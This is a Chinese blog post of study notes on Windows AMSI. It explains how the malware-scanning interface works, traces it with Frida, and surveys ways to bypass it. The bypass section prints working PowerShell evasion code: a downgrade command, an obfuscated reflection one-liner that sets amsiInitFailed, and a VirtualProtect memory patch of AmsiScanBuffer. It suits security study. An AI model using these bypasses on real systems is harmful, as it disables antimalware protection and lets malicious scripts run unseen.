AMSI原理与bypass学习总结

发布时间 2023-10-22 01:48:57作者: ONE_OK_ROCK

AMSI原理与bypass学习总结

宇宙免责声明:此文章为学习笔记,最近AMSI在眼前出现的频率有点高了,是老天爷在提示咱该学学了,就心血来潮学了一学,有问题欢迎指出。

概述

AMSI是Windows自带的反恶意软件扫描接口(Antimalware Scan Interface),根据Windows官方文档的介绍,Windows反恶意软件扫描接口是一种多功能接口标准,允许我们的应用程序和服务与计算寄上存在的任何恶意软件产品集成。AMSI为我们的最终用户及其数据、应用程序和工作负载提供增强的恶意软件防护。在渗透人员的测试活动中,最常用到的一种手段便是使用PowerShell无文件落地,当攻击者试图通过使用命令或者恶意的无文件脚本在内存里加载运行时,AMSI就会对这些恶意的内容进行检测。

例如:

我们如果使用的命令中包含有恶意字符串时,可能会遇见这种情况:

当我们输入的powershell命令中含有一些恶意的payload的时候,AMSI就会启动,将操作进行拦截。

从Windows的官方文档来看,AMSI目前功能已集成到如下组件当中:

  • 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
  • PowerShell(脚本、交互式使用和动态代码评估)
  • Windows 脚本宿主(wscript.exe 和 cscript.exe)
  • JavaScript 和 VBScript
  • Office VBA 宏

最初,AMSI只支持PowerShell,但是后来又增加了对JavaScript和VBScript的支持,最后,在Microsoft Office 20219中增加了对VBA的支持,并在.NET Framework4.8中增加了对.NET的支持。

原理

在讨论其如何bypass之前,我们需要了解AMSI的一些工作原理。AMSI的本体,是一个名叫amsi.dll的一个动态链接库,并且就从名字上来看,其实也就是一个接口,其一般是存储在C:\Windows\system32\amsi.all这个位置上的。


对于AMSI的工作原理,我们大概可以理解为当用户执行脚本的时候,amsi.dll被动态加载进内存中,在脚本执行之前防病毒软件就会使用两个API来扫描缓冲区和字符串,以此发现恶意的软件。说人话就是可以理解它类似是个桥梁去连接黑名单,当我们在实际的场景中输入了脚本语言后,amsi.dll这个文件就会去调用杀软的黑名单来判断是否存在恶意的字符等。举个栗子,假设我们的Windows Defender开启了实时保护,我们在场景中输入了一些内容,amsi.dll就会去调用defender中的黑名单来判断是否为恶意字符,如果匹配有则会出现前面的报错,阻止脚本的执行。在AMSI中场用到的调用函数有两个,一个是AmsiScanString,一个是AmsiScanBuffer,我们在powershell中常用到的调用函数就是AmsiScanString。

这里有一张图,可以方便我们去进行理解:

对于AMSI它内部的函数的调用,我们可以使用frida来hook住进程中的函数,这样可以让我们清晰的看到函数的调用顺序。

先找到powershell的进程,然后指定amsi.dll,然后指定需要监控的api

可以看到这个AMSI中函数的调用顺序。

但即使我们目前知道了 AmsiOpenSession、AmsiScanBuffer 和 AmsiCloseSession 的调用,我们却仍然不知道我们输入的内容是否被这些调用所负责。所以接下来我们去查看一下相关的调用内容。当我们启动Frida去跟踪会话的时候,会给每个hook的api创建一个handler file,我们可以去看一下AmsiScanBuffer的handler file,文件一般是生成在

C:\Users\<用户名>\__handlers__\amsi.dll\AmsiScanBuffer.js

路径下。

打开AmsiScanBuffer.js我们就可以看到如下图所示的内容,我们可以通过对其进行修改,以此来查看amsiscanbuffer的相关调用信息:

 /**
 * Called synchronously when about to call AmsiScanBuffer.
 *
 * @this {object} - Object allowing you to store state for use in onLeave.
 * @param {function} log - Call this function with a string to be presented to the 
user.
 * @param {array} args - Function arguments represented as an array of NativePointer 
objects.
 * For example use args[0].readUtf8String() if the first argument is a pointer to a 
C string encoded as UTF-8.
 * It is also possible to modify arguments by assigning a NativePointer object to an 
element of this array.
 * @param {object} state - Object allowing you to keep state across function calls.
 * Only one JavaScript function will execute at a time, so do not worry about raceconditions.
 * However, do not use this to store function arguments across onEnter/onLeave, but 
instead
 * use "this" which is an object for keeping state local to an invocation.
 */
 onEnter(log, args, state) {
 log('AmsiScanBuffer()');
 },
 /**
 * Called synchronously when about to return from AmsiScanBuffer.
 *
 * See onEnter for details.
 *
 * @this {object} - Object allowing you to access state stored in onEnter.
 * @param {function} log - Call this function with a string to be presented to the 
user.
 * @param {NativePointer} retval - Return value represented as a NativePointer 
object.
 * @param {object} state - Object allowing you to keep state across function calls.
 */
 onLeave(log, retval, state) {
 }

从js里面我们可以看到每个hook的api都会给我们提供三个参数,根据注释来看,args是一个数组,它包含传递给AMSI API的参数,而log可用于将我们讲获取到的信息打印到控制台。因此我们可以尝试在log中为args数组中的每个条目添加语句,这样我们就能清楚看到这些提供给AmsiScanBuffer参数,如下图:

数组的信息可以查看官方文档

HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

语句中以Unicode字符串的形式输出buffer的内容。最后一个参数result为防病毒扫描结果的存储地址。该地址通过this关键字,将其存储在JS的resultPointer变量中,方便之后的访问。然后因为我们的目标是存储扫描结果的指针,一直到AMSI API退出,并将读取结果打印到控制台。为此,我们可以通过JS中的onLeave来hook住AmsiScanBuffer函数出口。

这里我们从存储的内存位置读取结果值,并将其打印到控制台。保存后我们尝试先输入一些常规字符

现在我们可以看到AmsiScanBuffer的输入和输出了,我们可以看到我们输入的内容,表明AMSI已将我们的代码标记为非恶意代码。

而当我们输入敏感字段,尽管是无恶意的,Windows Denfender还是会进行拦截:

所以说由此可见,我们powershell中的警告是来自于Windows Defender。

这里插一嘴,这里的result是接收的扫描结果,由反俄裔软件提供程序提供,返回值介于1-32767(含 1 和 32767),作为估计的风险级别。 结果越大,继续内容的风险就越大。任何等于或大于 32768 的返回结果都被视为恶意软件,应阻止内容。这里的结果返回值的提供软件是Windows Defender。

详情可见官方文档(https://docs.microsoft.com/zh-cn/windows/desktop/api/amsi/ne-amsi-amsi_result)

绕过思路

关于AMSI的绕过,有很多种思路,下面这篇博客总结的很好,具体可以看这篇博客

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#using-matt-graebers-reflection-method

这里我们就只去了解其中的几个的原理

降级对抗

我们先从最简单的方式开始,我们知道,低版本的powershell是没有amsi的,如果powershell被降到2.0版本以下,AMSI就不再支持powershell,所以便有了降级对抗

我们可以输入

$PSVersionTable

来查看当前powershell的版本信息

我们可以使用如下命令先来查看能使用的powershell版本

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version

Win2016/Win2019
Get-WindowsFeature PowerShell-V2

如果可以使用可以使用如下命令切换powershell的版本

powershell -version 2

但此方法存在很大的弊端,因为许多函数和脚本并不能在powershell2.0版本上运行,会给我们造成极大的限制。

混淆对抗

由于前面说过,AMSI我们其实可以把它理解为一个黑名单,就如同文件上传、xss,我们可以是用拆分、混淆、拼接的方式对黑名单进行一个绕过。如下图,当我们本身输入 ‘amsiutils’ 时会有如下提示:

但是我们对它进行拆分重组后,就能成功输出

这种方式可行,但是实际运用中可能为了排查关键字反而会因此触发多次AMSI,从而会造成大量的攻击流量,这里也可以使用这个项目来进行代码混淆:https://amsi.fail/

当然也可以使用其他比如base64编码等进行混淆,这里举个栗子,我们知道运行时powershell是通过system.management.automation.dll去调用的amsi,我们就可以通过powershell去反射破坏amsi的相关初始化对象,让它不能初始化,从而不能对当前的进程进行扫描。比如这里,我们通过设置 “amsiInitFailed” 函数值为true来阻止当前进程的AMSI扫描功能。

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

但是这里AmsiUtils和amsiInitFailed两个字符串是直接会触发AMSI

我们尝试对其脚本进行编码混淆

$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
$f.SetValue($null,$true)

成功绕过。

更多的powershell的混淆可以看这篇文章https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ

内存补丁绕过

对内存打补丁的方式有很多种,很多大佬像rasta mouse、Matt Graeber等都做过细致的讲解

对于内存补丁的绕过,这里可以做个简单的解析。因为我们最终的目的是想要让AMSI失效,所以我们要想方设法让AMSI的函数不被触发,这里我们先以AmsiOpenSession这个函数为例。

我们先将powershell附加到x64dbg中去,然后定位到amsi.dll中的AmsiOpenSession函数

然后转到反汇编窗口

我们的思路是可以直接跳过函数的执行,从而绕过AMSI,如图所示。

我们如果要跳过函数的执行,我们可以修改前三个字节,也就是test rdx,rdx,因为je跳转的条件是ZF标志位为1,所以这里,这里可以改为xor,将两个寄存器作为参数,如果我们提供了两个参数相同的寄存器,xor的运算结果就为0,结果为0那零标志位就为1,然后就可以控制je的跳转,让它跳转到到最后,从而达到绕过的目的。

所以我们可以将test rdx,rdx修改为xor rdx,rdx,我们再去进行执行payload的时候,发现就可以直接执行。

rastamouse大佬的思路也是类似,rasta是针对AmsiScanBuffer进行操作,防止AmsiScanBuffer返回正结果

rastamouse大佬的原文:https://rastamouse.me/memory-patching-amsi-bypass/

脚本如下:

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

因为我们通过查询amsi.dll相关的内存地址是可以看到,我们可以确认它是处在模块的RX区域,也就是只可读可执行权限,但是我们要进行修改操作就必须要这块区域可读可写,否则,任何读取或写入操作都会导致访问冲突异常。

所以为了修改区域保护机制,脚本种用到了Kernel32 DLL中的VirtualProtect函数,这个函数可以指定修改区域内的保护机制。

其他

绕过AMSI还有很多其他的方法,比如:

  • dll劫持,因为在使用LoadLibrary函数导入dll的时候没有使用绝对路径,所以程序会用就近原则,首先在自己的当前目录下寻找dll,所以我们就在powershell.exe目录下面放一个dll做劫持,但是因为没有签名,所以会涉及到一些免杀的问题,还有要注意的一点,因为是在system32目录下面,所以还需要先去获得trustedinstaller权限,当然还有amsi的到处函数的问题,网上给出的是可以使用AheadLib这个工具来进行解决。
  • 修改注册表,但是修改注册表隐蔽性不高,并且需要管理员权限,可能应用场景也有限制
  • 强制错误绕过,具体可以详见这篇文章:https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
  • dll注入……
  • ……

有很多方法比如com server劫持、NULL字符绕过等其实目前已经失效了,其他应该还有很多还没接触到,等啥时候牛逼了再去学学。